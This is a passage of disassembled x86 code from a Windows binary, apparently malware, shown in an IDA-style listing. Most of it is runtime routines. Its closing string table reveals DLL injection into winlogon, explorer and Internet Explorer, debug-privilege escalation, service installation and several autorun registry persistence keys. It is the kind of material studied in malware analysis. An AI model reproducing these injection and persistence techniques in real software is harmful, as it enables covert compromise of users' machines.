mov eax, [ebp+var_8]
lea edx, [eax+1]
mov [ebp+var_8], edx
mov byte ptr [eax], 0Ah
jmp short loc_44EF7D
; ---------------------------------------------------------------------------
loc_44EF5E: ; CODE XREF: sub_44EC71+2D7j
; sub_44EC71+2DDj
push 1
push 0FFFFFFFFh
push ebx
call sub_44E1D1
add esp, 0Ch
cmp [ebp+var_11], 0Ah
jz short loc_44EF7D
mov eax, [ebp+var_8]
lea edx, [eax+1]
mov [ebp+var_8], edx
mov byte ptr [eax], 0Dh
loc_44EF7D: ; CODE XREF: sub_44EC71+180j
; sub_44EC71+1DEj ...
mov eax, [ebp+arg_4]
add eax, edi
cmp esi, eax
jb loc_44EDF6
loc_44EF8A: ; CODE XREF: sub_44EC71+1A3j
; sub_44EC71+1C4j
mov eax, [ebp+var_8]
mov edx, [ebp+arg_4]
sub eax, edx
mov edi, eax
loc_44EF94: ; CODE XREF: sub_44EC71+12Cj
mov eax, edi
loc_44EF96: ; CODE XREF: sub_44EC71+37j
; sub_44EC71+EAj ...
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_44EC71 endp
; ---------------------------------------------------------------------------
db 8Dh, 7Ch, 27h, 0
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ebx
push esi
mov ebx, [ebp+8]
cmp ebx, dword_413A88
jnb short loc_44EFCC
mov eax, ebx
and eax, 1Fh
imul eax, 24h
mov edx, ebx
sar edx, 5
mov edx, dword_413988[edx*4]
test byte ptr [edx+eax+4], 1
jnz short loc_44EFDC
loc_44EFCC: ; CODE XREF: DMN1:0044EFAFj
call sub_44A781
mov dword ptr [eax], 9
or eax, 0FFFFFFFFh
jmp short loc_44EFFF
; ---------------------------------------------------------------------------
loc_44EFDC: ; CODE XREF: DMN1:0044EFCAj
push ebx
call sub_44D061
pop ecx
mov eax, [ebp+10h]
push eax
mov eax, [ebp+0Ch]
push eax
push ebx
call sub_44EC71
add esp, 0Ch
mov esi, eax
push ebx
call sub_44D0C1
pop ecx
mov eax, esi
loc_44EFFF: ; CODE XREF: DMN1:0044EFDAj
pop esi
pop ebx
pop ebp
retn
; ---------------------------------------------------------------------------
db 8Dh, 0BCh, 27h, 4 dup(0)
db 8Dh, 0BCh, 27h, 4 dup(0)
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
mov eax, [ebp+0Ch]
push eax
mov eax, [ebp+8]
push eax
call sub_44F181
add esp, 8
pop ebp
retn
; ---------------------------------------------------------------------------
db 8Dh, 7Ch, 27h, 0
db 8Dh, 0BCh, 27h, 4 dup(0)
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_44F031 proc near ; CODE XREF: sub_44DCC1+35Fp
; sub_44F181+46p
var_1014 = dword ptr -1014h
var_1010 = byte ptr -1010h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, 1014h
call sub_449B11
push ebx
push esi
push edi
mov ebx, [ebp+arg_0]
mov [ebp+var_4], 0
push 1
push 0
push ebx
call sub_44E1D1
add esp, 0Ch
mov [ebp+var_C], eax
cmp eax, 0FFFFFFFFh
jz short loc_44F075
push 2
push 0
push ebx
call sub_44E1D1
add esp, 0Ch
mov [ebp+var_8], eax
cmp eax, 0FFFFFFFFh
jnz short loc_44F07D
loc_44F075: ; CODE XREF: sub_44F031+2Dj
or eax, 0FFFFFFFFh
jmp loc_44F171
; ---------------------------------------------------------------------------
loc_44F07D: ; CODE XREF: sub_44F031+42j
mov eax, [ebp+arg_4]
mov esi, eax
sub esi, [ebp+var_8]
test esi, esi
jle loc_44F122
lea edx, [ebp+var_1010]
mov ecx, 1000h
xor eax, eax
push edi
mov edi, edx
rep stosb
pop edi
mov eax, edx
push 8000h
push ebx
call sub_44F5C1
add esp, 8
mov [ebp+var_10], eax
loc_44F0B3: ; CODE XREF: sub_44F031+E0j
cmp esi, 1000h
jb short loc_44F0C7
mov [ebp+var_1014], 1000h
jmp short loc_44F0CF
; ---------------------------------------------------------------------------
loc_44F0C7: ; CODE XREF: sub_44F031+88j
mov eax, esi
mov [ebp+var_1014], eax
loc_44F0CF: ; CODE XREF: sub_44F031+94j
mov eax, [ebp+var_1014]
push eax
lea eax, [ebp+var_1010]
push eax
push ebx
call sub_44CA51
add esp, 0Ch
mov edi, eax
cmp eax, 0FFFFFFFFh
jnz short loc_44F109
call dword_411CE8
cmp eax, 5
jnz short loc_44F103
call sub_44A781
mov dword ptr [eax], 0Dh
loc_44F103: ; CODE XREF: sub_44F031+C5j
or [ebp+var_4], 0FFFFFFFFh
jmp short loc_44F113
; ---------------------------------------------------------------------------
loc_44F109: ; CODE XREF: sub_44F031+BAj
mov eax, esi
sub eax, edi
mov esi, eax
test eax, eax
jg short loc_44F0B3
loc_44F113: ; CODE XREF: sub_44F031+D6j
mov eax, [ebp+var_10]
push eax
push ebx
call sub_44F5C1
add esp, 8
jmp short loc_44F15F
; ---------------------------------------------------------------------------
loc_44F122: ; CODE XREF: sub_44F031+56j
test esi, esi
jge short loc_44F15F
push 0
mov eax, [ebp+arg_4]
push eax
push ebx
call sub_44E1D1
add esp, 0Ch
push ebx
call sub_44CF41
pop ecx
push eax
call dword_411E1C
test eax, eax
setnz al
and eax, 1
dec eax
mov [ebp+var_4], eax
cmp eax, 0FFFFFFFFh
jnz short loc_44F15F
call sub_44A781
mov dword ptr [eax], 0Dh
loc_44F15F: ; CODE XREF: sub_44F031+EFj
; sub_44F031+F3j ...
push 0
mov eax, [ebp+var_C]
push eax
push ebx
call sub_44E1D1
add esp, 0Ch
mov eax, [ebp+var_4]
loc_44F171: ; CODE XREF: sub_44F031+47j
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_44F031 endp
; ---------------------------------------------------------------------------
db 89h, 0FFh
db 8Dh, 0BCh, 27h, 4 dup(0)
; =============== S U B R O U T I N E =======================================
sub_44F181 proc near ; CODE XREF: DMN1:0044F01Cp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
push esi
mov ebx, [esp+8+arg_0]
cmp ebx, dword_413A88
jnb short loc_44F1AA
mov eax, ebx
and eax, 1Fh
imul eax, 24h
mov edx, ebx
sar edx, 5
mov edx, dword_413988[edx*4]
test byte ptr [edx+eax+4], 1
jnz short loc_44F1BA
loc_44F1AA: ; CODE XREF: sub_44F181+Cj
call sub_44A781
mov dword ptr [eax], 9
or eax, 0FFFFFFFFh
jmp short loc_44F1DA
; ---------------------------------------------------------------------------
loc_44F1BA: ; CODE XREF: sub_44F181+27j
push ebx
call sub_44D061
pop ecx
mov eax, [esp+8+arg_4]
push eax
push ebx
call sub_44F031
add esp, 8
mov esi, eax
push ebx
call sub_44D0C1
pop ecx
mov eax, esi
loc_44F1DA: ; CODE XREF: sub_44F181+37j
pop esi
pop ebx
retn
sub_44F181 endp
; ---------------------------------------------------------------------------
db 8Dh, 7Ch, 27h, 0
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_44F1E1 proc near ; CODE XREF: sub_44E0A1+EFp
; sub_44E0A1+100p ...
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 10h
push ebx
push esi
push edi
mov ebx, [ebp+arg_0]
mov esi, [ebp+arg_4]
jmp loc_44F29E
; ---------------------------------------------------------------------------
loc_44F1F5: ; CODE XREF: sub_44F1E1+C0j
mov eax, [esi+18h]
cmp eax, [esi+10h]
ja short loc_44F210
push esi
call sub_44B281
pop ecx
test eax, eax
jge short loc_44F210
or eax, 0FFFFFFFFh
jmp loc_44F2C0
; ---------------------------------------------------------------------------
loc_44F210: ; CODE XREF: sub_44F1E1+1Aj
; sub_44F1E1+25j
test word ptr [esi], 400h
jz short loc_44F227
push 0Ah
push ebx
call sub_44F6D1
add esp, 8
mov [ebp+var_C], eax
jmp short loc_44F22E
; ---------------------------------------------------------------------------
loc_44F227: ; CODE XREF: sub_44F1E1+34j
mov [ebp+var_C], 0
loc_44F22E: ; CODE XREF: sub_44F1E1+44j
mov eax, [ebp+var_C]
mov [ebp+var_4], eax
test eax, eax
jz short loc_44F243
mov eax, [ebp+var_4]
sub eax, ebx
inc eax
mov [ebp+var_10], eax
jmp short loc_44F252
; ---------------------------------------------------------------------------
loc_44F243: ; CODE XREF: sub_44F1E1+55j
mov edx, ebx
or eax, 0FFFFFFFFh
loc_44F248: ; CODE XREF: sub_44F1E1+6Cj
inc eax
cmp byte ptr [edx+eax], 0
jnz short loc_44F248
mov [ebp+var_10], eax
loc_44F252: ; CODE XREF: sub_44F1E1+60j
mov edi, [ebp+var_10]
mov eax, [esi+18h]
mov edx, [esi+10h]
sub eax, edx
mov [ebp+var_8], eax
cmp [ebp+var_8], edi
jnb short loc_44F26F
mov [ebp+var_4], 0
mov edi, [ebp+var_8]
loc_44F26F: ; CODE XREF: sub_44F1E1+82j
push edi
push ebx
mov eax, [esi+10h]
push eax
call sub_449A11
add esp, 0Ch
add ebx, edi
lea eax, [esi+10h]
mov edx, [eax]
add edx, edi
mov [eax], edx
cmp [ebp+var_4], 0
jz short loc_44F29E
push esi
call sub_44B081
pop ecx
test eax, eax
jz short loc_44F29E
or eax, 0FFFFFFFFh
jmp short loc_44F2C0
; ---------------------------------------------------------------------------
loc_44F29E: ; CODE XREF: sub_44F1E1+Fj
; sub_44F1E1+ABj ...
cmp byte ptr [ebx], 0
jnz loc_44F1F5
test word ptr [esi], 800h
jz short loc_44F2BE
push esi
call sub_44B081
pop ecx
test eax, eax
jz short loc_44F2BE
or eax, 0FFFFFFFFh
jmp short loc_44F2C0
; ---------------------------------------------------------------------------
loc_44F2BE: ; CODE XREF: sub_44F1E1+CBj
; sub_44F1E1+D6j
xor eax, eax
loc_44F2C0: ; CODE XREF: sub_44F1E1+2Aj
; sub_44F1E1+BBj ...
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_44F1E1 endp
; ---------------------------------------------------------------------------
db 8Dh, 7Fh, 0
db 8Dh, 0BCh, 27h, 4 dup(0)
; =============== S U B R O U T I N E =======================================
sub_44F2D1 proc near ; CODE XREF: sub_44E6F1+Bp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
push esi
push edi
mov ebx, [esp+0Ch+arg_4]
movzx eax, word ptr [ebx+6]
and eax, 7FF0h
sar eax, 4
mov si, ax
cmp si, 7FFh
jnz short loc_44F327
mov edx, [esp+0Ch+arg_0]
mov word ptr [edx], 0
test word ptr [ebx+6], 0Fh
jnz short loc_44F313
cmp word ptr [ebx+4], 0
jnz short loc_44F313
cmp word ptr [ebx+2], 0
jnz short loc_44F313
cmp word ptr [ebx], 0
jz short loc_44F31A
loc_44F313: ; CODE XREF: sub_44F2D1+2Cj
; sub_44F2D1+33j ...
mov edi, 2
jmp short loc_44F31F
; ---------------------------------------------------------------------------
loc_44F31A: ; CODE XREF: sub_44F2D1+40j
mov edi, 1
loc_44F31F: ; CODE XREF: sub_44F2D1+47j
mov ax, di
movsx eax, ax
jmp short loc_44F36B
; ---------------------------------------------------------------------------
loc_44F327: ; CODE XREF: sub_44F2D1+1Bj
test si, si
jg short loc_44F33B
push ebx
call sub_44F6F1
pop ecx
mov si, ax
test ax, ax
jg short loc_44F360
loc_44F33B: ; CODE XREF: sub_44F2D1+59j
movzx eax, word ptr [ebx+6]
and eax, 0FFFF800Fh
or eax, 3FE0h
mov [ebx+6], ax
mov edx, [esp+0Ch+arg_0]
mov ax, si
sub ax, 3FEh
mov [edx], ax
or eax, 0FFFFFFFFh
jmp short loc_44F36B
; ---------------------------------------------------------------------------
loc_44F360: ; CODE XREF: sub_44F2D1+68j
mov edx, [esp+0Ch+arg_0]
mov word ptr [edx], 0
xor eax, eax
loc_44F36B: ; CODE XREF: sub_44F2D1+54j
; sub_44F2D1+8Dj
pop edi
pop esi
pop ebx
retn
sub_44F2D1 endp
; ---------------------------------------------------------------------------
db 89h, 0FFh
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_44F371 proc near ; CODE XREF: sub_44E711+Bp
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = qword ptr -8
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 1Ch
push ebx
push esi
push edi
mov ebx, [ebp+arg_0]
movzx eax, word ptr [ebx+6]
and eax, 7FF0h
sar eax, 4
mov si, ax
cmp si, 7FFh
jnz short loc_44F3C6
test word ptr [ebx+6], 0Fh
jnz short loc_44F3AF
cmp word ptr [ebx+4], 0
jnz short loc_44F3AF
cmp word ptr [ebx+2], 0
jnz short loc_44F3AF
cmp word ptr [ebx], 0
jz short loc_44F3B6
loc_44F3AF: ; CODE XREF: sub_44F371+28j
; sub_44F371+2Fj ...
mov edi, 2
jmp short loc_44F3BB
; ---------------------------------------------------------------------------
loc_44F3B6: ; CODE XREF: sub_44F371+3Cj
mov edi, 1
loc_44F3BB: ; CODE XREF: sub_44F371+43j
mov ax, di
movsx eax, ax
jmp loc_44F57B
; ---------------------------------------------------------------------------
loc_44F3C6: ; CODE XREF: sub_44F371+20j
test si, si
jnz short loc_44F3E1
push ebx
call sub_44F6F1
pop ecx
mov si, ax
test ax, ax
jle short loc_44F3E1
xor eax, eax
jmp loc_44F57B
; ---------------------------------------------------------------------------
loc_44F3E1: ; CODE XREF: sub_44F371+58j
; sub_44F371+67j
movsx eax, si
mov edx, [ebp+arg_4]
add eax, edx
mov [ebp+arg_4], eax
cmp eax, 7FFh
jl short loc_44F423
test word ptr [ebx+6], 8000h
jz short loc_44F408
fld dbl_4119DC
fchs
fstp [ebp+var_8]
jmp short loc_44F411
; ---------------------------------------------------------------------------
loc_44F408: ; CODE XREF: sub_44F371+88j
fld dbl_4119DC
fstp [ebp+var_8]
loc_44F411: ; CODE XREF: sub_44F371+95j
mov eax, [ebp+arg_0]
fld [ebp+var_8]
fstp qword ptr [eax]
mov eax, 1
jmp loc_44F57B
; ---------------------------------------------------------------------------
loc_44F423: ; CODE XREF: sub_44F371+80j
cmp [ebp+arg_4], 0
jle short loc_44F449
movzx eax, word ptr [ebx+6]
and eax, 0FFFF800Fh
mov edx, [ebp+arg_4]
movsx edx, dx
shl edx, 4
or eax, edx
mov [ebx+6], ax
or eax, 0FFFFFFFFh
jmp loc_44F57B
; ---------------------------------------------------------------------------
loc_44F449: ; CODE XREF: sub_44F371+B6j
mov ax, [ebx+6]
and ax, 8000h
mov word ptr [ebp+var_8+6], ax
movzx eax, word ptr [ebx+6]
and eax, 0Fh
or eax, 10h
mov [ebx+6], ax
mov eax, [ebp+arg_4]
dec eax
mov [ebp+arg_4], eax
cmp eax, 0FFFFFFCCh
jge short loc_44F48F
mov ax, word ptr [ebp+var_8+6]
mov [ebx+6], ax
mov word ptr [ebx+4], 0
mov word ptr [ebx+2], 0
mov word ptr [ebx], 0
xor eax, eax
jmp loc_44F57B
; ---------------------------------------------------------------------------
loc_44F48F: ; CODE XREF: sub_44F371+FCj
mov eax, [ebp+arg_4]
mov word ptr [ebp+var_8+4], ax
jmp short loc_44F4BA
; ---------------------------------------------------------------------------
loc_44F498: ; CODE XREF: sub_44F371+14Ej
mov ax, [ebx+2]
mov [ebx], ax
mov ax, [ebx+4]
mov [ebx+2], ax
mov ax, [ebx+6]
mov [ebx+4], ax
mov word ptr [ebx+6], 0
add word ptr [ebp+var_8+4], 10h
loc_44F4BA: ; CODE XREF: sub_44F371+125j
cmp word ptr [ebp+var_8+4], 0FFF0h
jle short loc_44F498
movsx eax, word ptr [ebp+var_8+4]
neg eax
mov word ptr [ebp+var_8+4], ax
test ax, ax
jz loc_44F570
movsx eax, word ptr [ebp+var_8+4]
movzx edx, word ptr [ebx]
mov ecx, eax
sar edx, cl
mov dword ptr [ebp+var_8], edx
movzx ecx, word ptr [ebx+2]
mov [ebp+var_C], ecx
mov edx, 10h
mov ecx, edx
sub ecx, eax
mov eax, [ebp+var_C]
shl eax, cl
mov edx, dword ptr [ebp+var_8]
or edx, eax
mov ax, dx
mov [ebx], ax
movsx eax, word ptr [ebp+var_8+4]
movzx edx, word ptr [ebx+2]
mov ecx, eax
sar edx, cl
mov [ebp+var_10], edx
movzx ecx, word ptr [ebx+4]
mov [ebp+var_14], ecx
mov edx, 10h
mov ecx, edx
sub ecx, eax
mov eax, [ebp+var_14]
shl eax, cl
mov edx, [ebp+var_10]
or edx, eax
mov ax, dx
mov [ebx+2], ax
movsx eax, word ptr [ebp+var_8+4]
movzx edx, word ptr [ebx+4]
mov ecx, eax
sar edx, cl
mov [ebp+var_18], edx
movzx ecx, word ptr [ebx+6]
mov [ebp+var_1C], ecx
mov edx, 10h
mov ecx, edx
sub ecx, eax
mov eax, [ebp+var_1C]
shl eax, cl
mov edx, [ebp+var_18]
or edx, eax
mov ax, dx
mov [ebx+4], ax
movzx eax, word ptr [ebx+6]
movsx ecx, word ptr [ebp+var_8+4]
sar eax, cl
mov [ebx+6], ax
loc_44F570: ; CODE XREF: sub_44F371+15Dj
mov ax, word ptr [ebp+var_8+6]
or [ebx+6], ax
or eax, 0FFFFFFFFh
loc_44F57B: ; CODE XREF: sub_44F371+50j
; sub_44F371+6Bj ...
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_44F371 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_44F591 proc near ; CODE XREF: sub_44E791+409p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
mov ebx, [ebp+arg_0]
mov esi, [ebp+arg_4]
mov eax, ebx
mov ecx, esi
cdq
idiv ecx
mov [ebp+var_8], eax
mov edx, esi
imul edx, eax
mov eax, ebx
sub eax, edx
mov [ebp+var_4], eax
mov eax, [ebp+var_8]
mov edx, [ebp+var_4]
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_44F591 endp
; =============== S U B R O U T I N E =======================================
sub_44F5C1 proc near ; CODE XREF: sub_44F031+77p
; sub_44F031+E7p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
push esi
mov ebx, [esp+8+arg_0]
mov eax, ebx
and eax, 1Fh
imul eax, 24h
mov edx, ebx
sar edx, 5
mov edx, dword_413988[edx*4]
movzx eax, byte ptr [edx+eax+4]
mov esi, eax
and esi, 80h
cmp [esp+8+arg_4], 8000h
jnz short loc_44F617
mov eax, ebx
and eax, 1Fh
imul eax, 24h
mov edx, ebx
sar edx, 5
mov edx, dword_413988[edx*4]
lea eax, [edx+eax+4]
movzx edx, byte ptr [eax]
and edx, 0FFFFFF7Fh
mov [eax], dl
jmp short loc_44F64E
; ---------------------------------------------------------------------------
loc_44F617: ; CODE XREF: sub_44F5C1+2Fj
cmp [esp+8+arg_4], 4000h
jnz short loc_44F63E
mov eax, ebx
and eax, 1Fh
imul eax, 24h
mov edx, ebx
sar edx, 5
mov edx, dword_413988[edx*4]
lea eax, [edx+eax+4]
or byte ptr [eax], 80h
jmp short loc_44F64E
; ---------------------------------------------------------------------------
loc_44F63E: ; CODE XREF: sub_44F5C1+5Ej
call sub_44A781
mov dword ptr [eax], 16h
or eax, 0FFFFFFFFh
jmp short loc_44F661
; ---------------------------------------------------------------------------
loc_44F64E: ; CODE XREF: sub_44F5C1+54j
; sub_44F5C1+7Bj
test esi, esi
setnz al
and eax, 1
dec eax
and eax, 4000h
add eax, 4000h
loc_44F661: ; CODE XREF: sub_44F5C1+8Bj
pop esi
pop ebx
retn
sub_44F5C1 endp
; ---------------------------------------------------------------------------
db 8Dh, 0BFh, 4 dup(0)
db 8Dh, 0BCh, 27h, 4 dup(0)
; ---------------------------------------------------------------------------
push ebx
push esi
mov ebx, [esp+0Ch]
cmp ebx, dword_413A88
jnb short loc_44F69A
mov eax, ebx
and eax, 1Fh
imul eax, 24h
mov edx, ebx
sar edx, 5
mov edx, dword_413988[edx*4]
test byte ptr [edx+eax+4], 1
jnz short loc_44F6AA
loc_44F69A: ; CODE XREF: DMN1:0044F67Dj
call sub_44A781
mov dword ptr [eax], 9
or eax, 0FFFFFFFFh
jmp short loc_44F6CA
; ---------------------------------------------------------------------------
loc_44F6AA: ; CODE XREF: DMN1:0044F698j
push ebx
call sub_44D061
pop ecx
mov eax, [esp+10h]
push eax
push ebx
call sub_44F5C1
add esp, 8
mov esi, eax
push ebx
call sub_44D0C1
pop ecx
mov eax, esi
loc_44F6CA: ; CODE XREF: DMN1:0044F6A8j
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
db 8Dh, 7Ch, 27h, 0
; =============== S U B R O U T I N E =======================================
sub_44F6D1 proc near ; CODE XREF: sub_44F1E1+39p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
mov ecx, [esp+4+arg_0]
mov eax, [esp+4+arg_4]
mov bl, al
xor edx, edx
loc_44F6DE: ; CODE XREF: sub_44F6D1+19j
cmp [ecx], bl
jnz short loc_44F6E4
mov edx, ecx
loc_44F6E4: ; CODE XREF: sub_44F6D1+Fj
cmp byte ptr [ecx], 0
jz short loc_44F6EC
inc ecx
jmp short loc_44F6DE
; ---------------------------------------------------------------------------
loc_44F6EC: ; CODE XREF: sub_44F6D1+16j
mov eax, edx
pop ebx
retn
sub_44F6D1 endp
; ---------------------------------------------------------------------------
db 90h
; =============== S U B R O U T I N E =======================================
sub_44F6F1 proc near ; CODE XREF: sub_44F2D1+5Cp
; sub_44F371+5Bp
arg_0 = dword ptr 4
push ebx
push edi
mov ecx, [esp+8+arg_0]
mov ax, [ecx+6]
mov di, ax
and di, 8000h
mov bx, 1
mov ax, [ecx+6]
and ax, 0Fh
mov [ecx+6], ax
test ax, ax
jnz short loc_44F730
cmp word ptr [ecx+4], 0
jnz short loc_44F730
cmp word ptr [ecx+2], 0
jnz short loc_44F730
cmp word ptr [ecx], 0
jz loc_44F7EA
loc_44F730: ; CODE XREF: sub_44F6F1+25j
; sub_44F6F1+2Cj ...
jmp short loc_44F752
; ---------------------------------------------------------------------------
loc_44F732: ; CODE XREF: sub_44F6F1+66j
mov ax, [ecx+4]
mov [ecx+6], ax
mov ax, [ecx+2]
mov [ecx+4], ax
mov ax, [ecx]
mov [ecx+2], ax
mov word ptr [ecx], 0
sub bx, 10h
loc_44F752: ; CODE XREF: sub_44F6F1:loc_44F730j
cmp word ptr [ecx+6], 0
jz short loc_44F732
jmp short loc_44F798
; ---------------------------------------------------------------------------
loc_44F75B: ; CODE XREF: sub_44F6F1+ACj
movzx eax, word ptr [ecx+6]
add eax, eax
movzx edx, word ptr [ecx+4]
sar edx, 0Fh
or eax, edx
mov [ecx+6], ax
movzx eax, word ptr [ecx+4]
add eax, eax
movzx edx, word ptr [ecx+2]
sar edx, 0Fh
or eax, edx
mov [ecx+4], ax
movzx eax, word ptr [ecx+2]
add eax, eax
movzx edx, word ptr [ecx]
sar edx, 0Fh
or eax, edx
mov [ecx+2], ax
shl word ptr [ecx], 1
dec bx
loc_44F798: ; CODE XREF: sub_44F6F1+68j
cmp word ptr [ecx+6], 10h
jb short loc_44F75B
jmp short loc_44F7DE
; ---------------------------------------------------------------------------
loc_44F7A1: ; CODE XREF: sub_44F6F1+F2j
movzx eax, word ptr [ecx]
sar eax, 1
movzx edx, word ptr [ecx+2]
shl edx, 0Fh
or eax, edx
mov [ecx], ax
movzx eax, word ptr [ecx+2]
sar eax, 1
movzx edx, word ptr [ecx+4]
shl edx, 0Fh
or eax, edx
mov [ecx+2], ax
movzx eax, word ptr [ecx+4]
sar eax, 1
movzx edx, word ptr [ecx+6]
shl edx, 0Fh
or eax, edx
mov [ecx+4], ax
shr word ptr [ecx+6], 1
inc bx
loc_44F7DE: ; CODE XREF: sub_44F6F1+AEj
cmp word ptr [ecx+6], 20h
jnb short loc_44F7A1
and word ptr [ecx+6], 0Fh
loc_44F7EA: ; CODE XREF: sub_44F6F1+39j
or [ecx+6], di
movsx eax, bx
pop edi
pop ebx
retn
sub_44F6F1 endp
; ---------------------------------------------------------------------------
db 8Dh, 0BFh, 4 dup(0)
db 8Dh, 0BCh, 27h, 4 dup(0)
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_44F801 proc near ; CODE XREF: sub_44A871+13p
jmp dword_411DAC
sub_44F801 endp
; ---------------------------------------------------------------------------
align 4
dd 46h dup(0)
dd 6E6F6400h, 0A2E65h
aNotDaemonize_0 db 'not daemonized...',0Ah,0
aInitializing_0 db 'initializing service startup sequence...',0Ah,0
aServiceInsta_0 db 'service installed ok...',0Ah,0
aInstallingSe_1 db 'installing service...',0Ah,0
aRegisteredSe_2 db 'registered service is not running, unrest.',0Ah,0
aStartingServ_0 db 'starting service...',0Ah,0
aI_0 db '%i',0Ah,0
aInstallingSe_2 db 'installing service, res=',0
aRegisteredSe_3 db 'registered service is not running.',0Ah,0
aRegisteredSe_4 db 'registered service is here...',0Ah,0
aDonTRegister_0 db 'DON',27h,'T register it',0Ah,0
aRegisterItAn_0 db 'register it and restart',0Ah,0
aNoRegistered_0 db 'no registered service, ',0
aWaitingCompl_0 db '*** waiting complete...',0Ah,0
aWaiting____0 db '*** waiting...',0Ah,0
aRemovingS_0 db 'removing: <%s>',0Ah,0
aInitializing_1 db 'initializing winsock library...',0Ah,0
aCopyingFaile_0 db 'copying failed %%-(',0Ah,0
aCreateproces_0 db 'CreateProcess() failed %%-(',0Ah,0
aCmdlineS_0 db 'cmdline: <%s>',0Ah,0
aCopying____0 db 'copying...',0Ah,0
aNewSOldSSelf_0 db 'new=<%s>, old=<%s>, self=<%s>',0Dh,0Ah,0
aWaiting10Sec_0 db 'waiting 10 secs -- shutdown...',0Dh,0Ah,0
aShutdownmute_0 db 'ShutdownMutexCreate()=%i, h=%i',0Dh,0Ah,0
aUpdate_1 db '*update',0
aInjectionthr_0 db 'InjectionThread complete',0Ah,0
aDllStopped___0 db 'DLL stopped...',0Ah,0
aDying_0 db 'dying',0Ah,0
aWaitingForDl_0 db 'waiting for <DLL dies> event...',0Ah,0
aWinlogon_exe_0 db 'winlogon.exe',0
aExplorer_exe_0 db 'explorer.exe',0
aIexplore_exe_0 db 'iexplore.exe',0
aOldDllFoundW_0 db 'old DLL found; waiting for <DLL dies> event...',0Ah,0
aTryingSWithS_0 db 'trying <%s> with <%s> failed',0Ah,0
aTryingSWithS_1 db 'trying <%s> with <%s>',0Ah,0
aDllInjected_0 db 'DLL injected!',0Ah,0
aThreadComple_0 db 'thread complete (%i).',0Ah,0
aThreadInject_0 db 'thread injected (%i).',0Ah,0
aProcessOpene_0 db 'process opened.',0Ah,0
aS_2 db '<%s>',0Ah,0
aWriteprocess_0 db 'WriteProcessMemory() ok',0Ah,0
aGetlasterror_1 db 'GetLastError',0
aExitthread_1 db 'ExitThread',0
aLoadlibrarya_0 db 'LoadLibraryA',0
aKernel32_dll_0 db 'kernel32.dll',0
aVirtualalloc_0 db 'VirtualAllocEx() ok',0Ah,0
aSedebugprivi_0 db 'SeDebugPrivilege',0
aDllNotExtrac_0 db 'DLL not extracted.',0Ah,0
aDllOkS_0 db 'DLL ok: <%s>',0Ah,0
aTryingDllS_0 db 'trying DLL: <%s>',0Ah,0
aDllFoundS_0 db ' DLL found: <%s>',0Ah,0
aCheckingDllS_0 db 'checking DLL: <%s>',0Ah,0
a000_tmp_0 db '000.tmp',0
aWnss__0 db 'wnss_',0
aOldDllS_0 db 'old DLL: <%s>',0Ah,0
aR_0 db 'r',0
aFileSWritten_0 db 'file <%s> written, wsz=%i',0Ah,0
aFileSCreated_0 db 'file <%s> created',0Ah,0
aFileSNotCrea_0 db 'file <%s> NOT created',0Ah,0
aWb_1 db 'wb+',0
aResourceHere_0 db 'resource here, size: %i',0Ah,0
a8001_0 db '#8001',0
aDlltestliste_3 db 'DLLTestListenThread: done...',0Ah,0
aDlltestliste_4 db 'DLLTestListenThread: accepting...',0Ah,0
aDlltestliste_5 db 'DLLTestListenThread: listening...',0Ah,0
aDlltestliste_6 db 'DLLTestListenThread: binding...',0Ah,0
aDlltestthrea_0 db 'DLLTestThread: pulsing...',0Ah,0
db '**',0
aServicefixer_0 db 'ServiceFixerThread started.',0Ah,0
db '" ',0
aRegisterserv_1 db 'RegisterServiceCtrlHandler() failed %-(',0Ah,0
aSetservicest_3 db 'SetServiceStatus(): stopped',0Ah,0
aSetservicest_4 db 'SetServiceStatus(): running',0Ah,0
aSetservicest_5 db 'SetServiceStatus(): start pending',0Ah,0
aServicectrld_0 db 'ServiceCtrlDispatcher()',0Ah,0
aWaitingForSt_0 db 'WAITING FOR STOP EVENT!',0Ah,0
aEventCreaton_0 db 'EVENT CREATON ERROR: %i',0Ah,0
aEventCreated_0 db 'EVENT CREATED.',0Ah,0
aWritingToHkc_0 db 'writing to HKCU/autorun key...',0Ah,0
aSoftwareMicr_3 db 'Software\Microsoft\Windows\CurrentVersion\Run',0
aWritingToHkl_0 db 'writing to HKLM/autorun key...',0Ah,0
db '*',0
aLoad_0 db 'load',0
aSoftwareMicr_4 db 'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows',0
db ',',0
aUserinit_0 db 'Userinit',0
aSoftwareMicr_5 db 'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon',0
aStartupprogr_0 db 'StartupPrograms',0
aSystemCurren_2 db 'System\CurrentControlSet\Control\Terminal Server\Wds\rdpwd',0
